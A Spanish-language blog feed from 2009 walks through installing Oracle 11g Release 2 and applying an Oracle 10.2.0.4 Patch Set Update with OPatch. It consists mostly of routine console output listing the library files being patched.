The following environment variables are set as:
    ORACLE_OWNER= oracle
    ORACLE_HOME=  /u01/app/oracle/product/11.2.0/dbhome_1

Enter the full pathname of the local bin directory: [/usr/local/bin]:
   Copying dbhome to /usr/local/bin ...
   Copying oraenv to /usr/local/bin ...
   Copying coraenv to /usr/local/bin ...


Creating /etc/oratab file...
Entries will be added to the /etc/oratab file as needed by
Database Configuration Assistant when a database is created
Finished running generic part of root.sh script.
Now product-specific root actions will be performed.
Finished product-specific root actions.

13. Luego de ejecutados los scripts, la instalación ha concluido.

Como habrán notado, la instalación del software es bastante similar a lo visto en versiones previas, lo que si resulta especial y bienvenido, es la posibilidad de dejar que OUI nos ayude a corregir nuestros errores u omisiones al configurar el kernel, en realidad la relación de cosas que puede corregir va un poco más allá, tal como pueden comprobar en la documentación.

En un siguiente Post les mostraré la creación de una base de datos con dbca, que tiene también algunas novedades, estén atentos!

Post Relacionados:

11g Release 2 finalmente disponible!

11g Release 2 finalmente disponible!

noreply@blogger.com (Enrique Orbegozo) — Tue, 01 Sep 2009 20:30:00 +0000

Luego de años que apareciera Oracle Database 11g Release 1, hace pocas horas Oracle Corporation ha hecho pública la liberación de Oracle Database 11g Release 2.

El software puede ser obtenido desde ya en OTN

La relación de novedades que incluye esta nueva versión la pueden encontrar en New Features Guide. Si bien el software está disponible por el momento solo para Linux, es de esperar que en breve vayan apareciendo las versiones correspondientes a otras plataformas.

Muy poco tiempo ha transcurrido como para hacer una evaluación del producto, de hecho recién lo estoy bajando de OTN (al igual que muchos de Uds. seguramente), por lo que en los próximos días podré escribir más sobre el tema, estén atentos! Pero entretanto pueden ir leyendo una de las primeras publicaciones sobre el tema, hecho por PCWorld.

Post Relacionados:

Instalando Oracle 11g Release 2 en OEL 5.3

Primer PSU ya está disponible, instalémoslo!

noreply@blogger.com (Enrique Orbegozo) — Wed, 15 Jul 2009 18:56:00 +0000

Para complementar el Post anterior, les aviso que ya está disponible desde ayer el primer Patch Set Update, lo pueden encontrar en Metalink (My Oracle Support) como el Patch 8576156 - DATABASE PSU 10.2.0.4.1 (INCLUDES CPUJUL2009). En este Post les indico cómo instalarlo, acompañenme en esta aventura.

Este Patch Set Update está disponible para las siguientes plataformas:

Sun Solaris SPARC (64-bit) / 21M
Linux x86 / 11M
Linux x86-64 / 16M
HP-UX PA-RISC(64-bit) / 18M
HP-UX Itanium / 30M
IBM AIX on POWER Systems (64-bit) /13M

Aproveché a descargar la versión para Linux x86 y al revisar los requisitos encontré el primer problema: debo tener el OPatch 10.2.0.4.7 o superior y en mi instalación tenía la versión 10.2.0.4.2. Esto me obligó a descargar la última versión, disponible como el Patch 6880880.

Con esto ya está superado el problema:

[oracle@urania ~]$ opatch version
Invoking OPatch 10.2.0.4.7

OPatch Version: 10.2.0.4.7

OPatch succeeded.

Todo listo para instalar el PSU, pero primero verificamos que no entre en conflicto con algún one-off patch previamente instalado.

[oracle@urania ~]$ cd 8576156
[oracle@urania 8576156]$ opatch prereq CheckConflictAgainstOHWithDetail -phBaseDir .
Invoking OPatch 10.2.0.4.7

Oracle Interim Patch Installer version 10.2.0.4.7
Copyright (c) 2009, Oracle Corporation.  All rights reserved.

PREREQ session

Oracle Home       : /u01/app/oracle/product/10.2.0/db_4
Central Inventory : /u01/app/oracle/oraInventory
   from           : /etc/oraInst.loc
OPatch version    : 10.2.0.4.7
OUI version       : 10.2.0.4.0
OUI location      : /u01/app/oracle/product/10.2.0/db_4/oui
Log file location : /u01/app/oracle/product/10.2.0/db_4/cfgtoollogs/opatch/opatch2009-07-15_12-41-59PM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_4/cfgtoollogs/opatch/opatch_history.txt

Invoking prereq "checkconflictagainstohwithdetail"

Prereq "checkConflictAgainstOHWithDetail" passed.

OPatch succeeded.

Ahora bajamos la base de datos y aplicamos el PSU.

[oracle@urania 8576156]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.4.0 - Production on Wed Jul 15 12:37:56 2009

Copyright (c) 1982, 2007, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SYS@test> shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.
SYS@test> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

[oracle@urania 8576156]$ opatch apply
Invoking OPatch 10.2.0.4.7

Oracle Interim Patch Installer version 10.2.0.4.7
Copyright (c) 2009, Oracle Corporation.  All rights reserved.


Oracle Home       : /u01/app/oracle/product/10.2.0/db_4
Central Inventory : /u01/app/oracle/oraInventory
   from           : /etc/oraInst.loc
OPatch version    : 10.2.0.4.7
OUI version       : 10.2.0.4.0
OUI location      : /u01/app/oracle/product/10.2.0/db_4/oui
Log file location : /u01/app/oracle/product/10.2.0/db_4/cfgtoollogs/opatch/opatch2009-07-15_12-44-45PM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_4/cfgtoollogs/opatch/opatch_history.txt

ApplySession applying interim patch '8576156' to OH '/u01/app/oracle/product/10.2.0/db_4'

Running prerequisite checks...
Provide your email address to be informed of security issues, install and
initiate Oracle Configuration Manager. Easier for you if you use your My
Oracle Support Email address/User Name.
Visit http://www.oracle.com/support/policies.html for details.
Email address/User Name:

You have not provided an email address for notification of security issues.
Do you wish to remain uninformed of security issues ([Y]es, [N]o) [N]:  Y

OPatch detected non-cluster Oracle Home from the inventory and will patch the local system only.


Please shutdown Oracle instances running out of this ORACLE_HOME on the local system.
(Oracle Home = '/u01/app/oracle/product/10.2.0/db_4')


Is the local system ready for patching? [y|n]
y
User Responded with: Y
Backing up files and inventory (not for auto-rollback) for the Oracle Home
Backing up files affected by the patch '8576156' for restore. This might take a while...
Backing up files affected by the patch '8576156' for rollback. This might take a while...
Execution of 'sh /home/oracle/8576156/custom/scripts/pre -apply 8576156 ':


Return Code = 0

Patching component oracle.rdbms.rsf, 10.2.0.4.0...
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/qcodfdef.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/qcdo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/qcdo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/kghs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/kgcc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/kgh.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libcommon10.a"  with "lib/libcommon10.a/kd4.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libcommon10.a"  with "lib/libcommon10.a/kdb4.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libcommon10.a"  with "lib/libcommon10.a/kdr4.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libcommon10.a"  with "lib/libcommon10.a/kdr9ir24.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libcommon10.a"  with "lib/libcommon10.a/ttcpip.o"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/rdbms/jlib/qsma.jar" with "/rdbms/jlib/qsma.jar/oracle/qsma/QsmaDataManager.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/rdbms/jlib/qsma.jar" with "/rdbms/jlib/qsma.jar/oracle/qsma/QsmaDataReports.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/rdbms/jlib/qsma.jar" with "/rdbms/jlib/qsma.jar/oracle/qsma/QsmaFileManager.class"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/lib/env_rdbms.mk"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/lib/rfsd.o"

Patching component oracle.rdbms.util, 10.2.0.4.0...

Patching component oracle.rdbms.dbscripts, 10.2.0.4.0...
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtdefr.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtbpp.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtdmsu.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtbstr.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtsum.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtsms.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtjob.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtaqds.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtlmc.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtlmd.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtlsby.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtbcap.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/dbmssum.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/e1001000.sql"

Patching component oracle.rdbms, 10.2.0.4.0...
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kupp.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kwqn.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ctc.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qccpu                  b.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kkxe.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kkxs.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kzvdv                  e.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/sldbg                  .o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdg.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kkz.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/updex                  e.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qerhj                  .o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ain.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qerlx                  t.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qkexr                  .o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/atb.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qol.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kksc.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qke.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kzrt.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/opipr                  s.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdl.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kxto.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kaf.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kaf9i                  r2.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kd9ir
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kd9ir2t.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdb9ir2o.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdblc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kds.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdst.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdst00.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdst01.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdst10.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdst11.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qertb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/nsoqbc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/vop.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kksl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/evar2v.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbz.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbw.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbv.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbk.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfafo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfcfg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfipc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfmon.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfmon1.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfra.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrdb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrla.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrld.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrpa.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrpd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrst.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrxpt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfsicd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfsl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfsx.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfupg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knld.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ktu.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/koklm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kokeg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvi.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvrda.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvu.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvx.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvxb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvxp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvxr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvxs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knaha.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knahf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knahs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knals.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knasp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knlc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knlcf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knlci.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ktuq.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krfr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krff.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kct.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kccr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kck.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcra.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrfr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrlc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcv.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krfg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krfw.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krsc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krsf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krsl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krsm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksct.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kspt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/tbsdrv.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/dbsdrv.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfgb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfk.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfk0.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kqf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjfc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjfd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjfm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kslt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kji.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjbr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfcb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfcl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfrb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kwqmn.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksu.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksq.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ktc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbz.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbw.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbv.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbk.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjbl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksxp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjdd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjdr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjb.o"
